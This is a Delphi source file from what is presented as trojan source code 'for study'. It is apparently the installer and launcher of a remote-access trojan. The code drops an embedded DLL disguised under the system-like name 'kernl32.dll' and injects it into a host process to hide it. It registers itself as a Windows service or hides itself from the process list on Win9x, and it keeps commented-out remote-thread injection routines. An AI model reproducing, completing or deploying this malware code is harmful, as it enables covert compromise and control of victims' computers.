ustart.pas

木马源程序,供大家研究

}

    RedCrlAppMainStart;

	// Mark that we're no longer running
//	g_servicethread := 0;

	// Tell the service manager that we've stopped.
   ReportStatusToSCMgr(SERVICE_STOPPED, GetLastError,	0);
end;

procedure  RedCrlAppMainStart;
var
   dllfile: string;
   StartHook: TStartHook;
   StopHook: TStopHook;
   ThreadPro:TThreadPro;
   msg: TMsg;
   Lib: THandle;
   nohideproc:Boolean;
  ContinueLoop: BOOL;
//  Parameters: Pointer;
//  LProcessHandle:dword;
{  procedure WriteParaAndRun(ProcessHandle:dword);
  var
    BytesWritten, Thread, ThreadID: dword;
  begin
    Parameters := xVirtualAllocEx(ProcessHandle, nil,SizeOf(TRedCtrl), MEM_COMMIT, PAGE_READWRITE);
    if Parameters = nil then exit;
    WriteProcessMemory(ProcessHandle, Parameters, pz, SizeOf(TRedCtrl), BytesWritten);
    Thread := xCreateRemoteThread(ProcessHandle, nil, 0, @ThreadPro, Parameters, 0, @ThreadId);
    WaitForSingleObject(Thread, 3000);
    xVirtualFreeEx(ProcessHandle, Parameters, 0, MEM_RELEASE);
    if Thread = 0 then Exit;
    CloseHandle(Thread);
  end;
  }
begin
     MutexHandle:=OpenMutex(MUTEX_ALL_ACCESS, FALSE, 'MutexForExeSabason');
     if MutexHandle<>0 then
     begin
        Closehandle(MutexHandle);
        Exit;
     end;
     MutexHandle := CreateMutex(nil,TRUE,'MutexForExeSabason');  //.........BEGIN........//

      if pz^.dDllFile='' then pz^.dDllFile:='kernl32.dll';
      nohideproc:=false;
      if pz^.dhostProcess='' then nohideproc:=True;   //如果没有指定进程名则不隐藏进程
      dllfile:=GetDirectory(TDirType(StrToInt(pz^.dInsPath)))+pz^.dDllFile;

      if fileexists(dllfile) then
        deletefile(pchar(dllfile));
      if fileexists(dllfile) then exit;   //如果删除不了
      ExtractRes('dll1', dllfile);


      if pz^.dhostProcess='' then nohideproc:=True;

      StrCopy(pz^.dDllFile, pchar(dllfile));

      g_servicethread:=GetCurrentThreadId;
      pz^.dMainThread:=IntToStr(g_servicethread);

//         Lib := LoadLibrary(pchar(dllfile));     //LoadLibrary(pchar(extractfilePath(ParamStr(0))+pz^.dDllFile));   //debug 时用

//         @ThreadPro:= GetProcAddress(GetModuleHandle('KERNL32.DLL'), 'miniratMain');

      if nohideproc then
      begin
         Lib := LoadLibrary(pchar(dllfile));     //LoadLibrary(pchar(extractfilePath(ParamStr(0))+pz^.dDllFile));   //debug 时用
         if Lib = 0 then
           Lib := LoadLibrary(pchar(dllfile));
         if Lib = 0 then exit;
//          ThreadPro;
          while true do
          begin
            if PeekMessage(Msg, 0, 0, 0, PM_REMOVE) then // 2.等待插入Explorer的新线程发来WM_QUIT
            begin
              if (msg.message = WM_QUIT ) then break;
              TranslateMessage(msg);
              DispatchMessage(msg);
            end;
            sleep(1000);
          end;
      end
      else
      begin
          ContinueLoop:=False;
          while not ContinueLoop do
          begin
//            ContinueLoop:=DNADLL('notepad.exe',pchar('d:\kernl32.dll'));
            ContinueLoop:=DNADLL(pz^.dhostProcess,pchar(dllfile));
            if not ContinueLoop and  PeekMessage(Msg, 0, 0, 0, PM_REMOVE) then // 2.等待插入Explorer的新线程发来WM_QUIT
            begin
              if (msg.message = WM_QUIT ) then break;
              TranslateMessage(msg);
              DispatchMessage(msg);
            end;
            sleep(3000);
          end;
      end;

     g_servicethread:=0;
    if (Pz<>nil) then UnmapViewOfFile(Pz);
     CloseHandle(FileMapH);
     FileMapH:=0;
    //关闭映射文件
     ReleaseMutex(MutexHandle);
end;


procedure ServiceCtrl(dwCtrlCode:DWORD);stdcall;
begin 
    // Handle the requested control code. 
    case dwCtrlCode of 

        SERVICE_CONTROL_STOP: 
        begin 
             ReportStatusToSCMgr(SERVICE_STOP_PENDING, NO_ERROR, 0); 
             ServiceStop; 
             ReportStatusToSCMgr(SERVICE_STOPPED,GetLastError,0); 
             exit; 
        end; 

        SERVICE_CONTROL_INTERROGATE: 
        begin 
        end; 

        SERVICE_CONTROL_PAUSE: 
        begin 
        end;

        SERVICE_CONTROL_CONTINUE: 
        begin 
        end;

        SERVICE_CONTROL_SHUTDOWN: 
        begin 
        end; 

        // invalid control code 
        else 
    end; 

    // Update the service status. 
    ReportStatusToSCMgr(g_srvstatus.dwCurrentState, NO_ERROR, 0); 
end;

// Write error message to Windows NT Event Log 
procedure AddToMessageLog(sMsg:string); 
var 
   sString:array [0..1] of string; 
   hEventSource:THandle; 
begin 
     hEventSource:=RegisterEventSource(nil,PChar(string(pz^.dSrvName)));

     if hEventSource>0 then
     begin
          sString[0]:=string(pz^.dSrvName)+' error: '+IntToStr(GetLastError);
          sString[1]:=sMsg;
          ReportEvent(hEventSource,EVENTLOG_ERROR_TYPE,0,0,nil,2,0,@sString,nil);
          DeregisterEventSource(hEventSource);
     end;

end;

function ReportStatusToSCMgr(dwState,dwExitCode,dwWait:DWORD):BOOL; 
begin 
     Result:=True; 
     with g_srvstatus do 
     begin 
          if (dwState=SERVICE_START_PENDING) then
               dwControlsAccepted:=0
           else
               dwControlsAccepted:=SERVICE_ACCEPT_STOP;

          dwCurrentState:=dwState; 
          dwWin32ExitCode:=dwExitCode; 
          dwWaitHint:=dwWait; 

          if (dwState=SERVICE_RUNNING) or (dwState=SERVICE_STOPPED) then
              dwCheckPoint:=0 
          else 
              inc(dwCheckPoint); 
     end; 

     Result:=SetServiceStatus(ServiceStatusHandle,g_srvstatus); 
     if not Result then AddToMessageLog('SetServiceStauts'); 
end;

procedure ServiceMain; 
begin 
     // Register the handler function with dispatcher;
     ServiceStatusHandle:=RegisterServiceCtrlHandler(PChar(string(pz^.dSrvName)),ThandlerFunction(@ServiceCtrl));
     if ServiceStatusHandle=0 then 
     begin 
          ReportStatusToSCMgr(SERVICE_STOPPED,GetLastError,0); 
          exit; 
     end; 

     g_srvstatus.dwServiceType:=SERVICE_WIN32_OWN_PROCESS;
     g_srvstatus.dwServiceSpecificExitCode:=0;
     g_srvstatus.dwCheckPoint:=1;

     // Report current status to SCM (Service Control Manager) 
     if not ReportStatusToSCMgr(SERVICE_START_PENDING,NO_ERROR,3000) then
     begin
          ReportStatusToSCMgr(SERVICE_STOPPED,GetLastError,0);
          exit; 
     end; 

     // Start Service
     ServiceWorkThread;
end;


procedure ServiceStop;
begin
	// Post a quit message to the main service thread
	if (g_servicethread <>0) then
		PostThreadMessage(g_servicethread, WM_QUIT, 0, 0);
end;

procedure Main;
type
  TRegisterServiceProcess = function(dwProcessID, dwType: Integer): Integer; stdcall;
var
   h:LongWord;
   RegisterServiceProcess: TRegisterServiceProcess;
   dispatchTable:TServiceTableEntryArray;
   msg: TMsg;
begin
//  killer;

//创建内存映射文件
 try
  FileMapH := OpenFileMapping(FILE_MAP_ALL_ACCESS, False, sFileMap);
  if FileMapH=0 then
     FileMapH := CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,SizeOf(TRedCtrl),sFileMap);
    if (GetLastError = ERROR_ALREADY_EXISTS) or (FileMapH = 0) then
      begin
        Closehandle(FileMapH);
        Halt;
        Exit;
      end;
//  if (FileMapH=0) then
//  begin
//    MessageBox(0, '内存不够 ', nil, 0); //创建内存映射文件出错
//    Exit;
//  end;

//映射到本进程空间
  pz := MapViewOfFile(FileMapH, FILE_MAP_WRITE, 0, 0, 0);
  if (pz=nil) then
  begin
//  MessageBox(0, '映射到本进程空间出错 ', nil, 0);
    CloseHandle(FileMapH);
    Exit;
  end;

//  pz:=@PeiZhe;
  ReadSettings(Predctrl(pz));

  Install;
 except;
 end;

 if FindSwitch('service') or IsStartService  then //以服务运行
 begin
    if IsWindows9x then
    begin
       h := LoadLibrary('KERNEL32.DLL');
       RegisterServiceProcess := GetProcAddress(h, 'RegisterServiceProcess');
       if @RegisterServiceProcess <> nil then RegisterServiceProcess(GetCurrentProcessID,1); //RSP_SIMPLE_SERVICE
       RedCrlAppMainStart;
       FreeLibrary(h);
    end
    else                     //NT platform
    begin
        SetLength(dispatchTable,2);
        FillChar(dispatchTable[0], SizeOf(TServiceTableEntry), 0);
        dispatchTable[0].lpServiceName:=pchar(string(pz^.dSrvName));
        dispatchTable[0].lpServiceProc:=TServiceMainFunction(@ServiceMain);
       // Last entry in the table must have nil values to designate the end of the table
        dispatchTable[1].lpServiceName:=nil;
        dispatchTable[1].lpServiceProc:=nil;
    end;

    if not StartServiceCtrlDispatcher(dispatchTable[0]) then  //Error
       AddToMessageLog('StartServiceCtrlDispatcher Error!');
 end
 else
 begin
   RedCrlAppMainStart;
   halt;
 end;

end;

Function ExtractRes(dName,ResultFilePath: String): String;
Var
  ResourceLocation      :HRSRC;
  ResourcePointer       :PChar;
  ResourceSize          :LongWord;
  BytesWritten          :LongWord;
  ResDataHandle         :THandle;
  FileHandle            :THandle;
Begin

  If (FileExists(ResultFilePath)) Then
    DeleteFile(pChar(ResultFilePath));

  ResourceLocation := FindResource(hInstance, pChar(dName), RT_RCDATA);
  If ResourceLocation = 0 Then Exit;

  ResourceSize := SizeOfResource(HInstance, ResourceLocation);
  If ResourceSize = 0 Then Exit;

  ResDataHandle := LoadResource(HInstance, ResourceLocation);
  If ResDataHandle = 0 Then Exit;

  ResourcePointer := LockResource(ResDataHandle);
  If ResourcePointer = NIL Then Exit;

  FileHandle := CreateFile(pChar(ResultFilePath), GENERIC_WRITE, FILE_SHARE_WRITE, NIL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
  If FileHandle = INVALID_HANDLE_VALUE Then Exit;

  WriteFile(FileHandle, ResourcePointer^, ResourceSize, BytesWritten, NIL);
  CloseHandle(FileHandle);

  Result := ResultFilePath;
End;

{procedure ExtractRes(ResType, ResName, ResNewName: string);
var
  HResInfo: THandle;
  HGlobal: THandle;
  FMemory: Pointer;
  FSize: Longint;
  handle:THandle;
  Wsize:longword;
  procedure SetPointer(Ptr: Pointer; Size: Longint);
  begin
    FMemory := Ptr;
    FSize := Size;
  end;
  function Initialize(Instance: THandle; Name, ResType: PChar):boolean;
  begin
    result:=false;
    HResInfo := FindResource(Instance, Name, ResType);
    if HResInfo = 0 then Exit;
    HGlobal := LoadResource(Instance, HResInfo);
    if HGlobal = 0 then Exit;
    SetPointer(LockResource(HGlobal), SizeOfResource(Instance, HResInfo));
    result:=true;
  end;
begin
  if not Initialize(hInstance, PChar(ResName), PChar(ResType)) then exit;
  if fileexists(ResNewName) then Deletefile(pchar(ResNewName));
  try
    handle := Integer(CreateFile(PChar(ResNewName), GENERIC_READ or GENERIC_WRITE,
      0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0));
    WriteFile(Handle, FMemory^, FSize, Wsize, nil);
    CloseHandle(handle);  
  except
  end;
  UnlockResource(HGlobal);
  FreeResource(HGlobal);
end;}


end.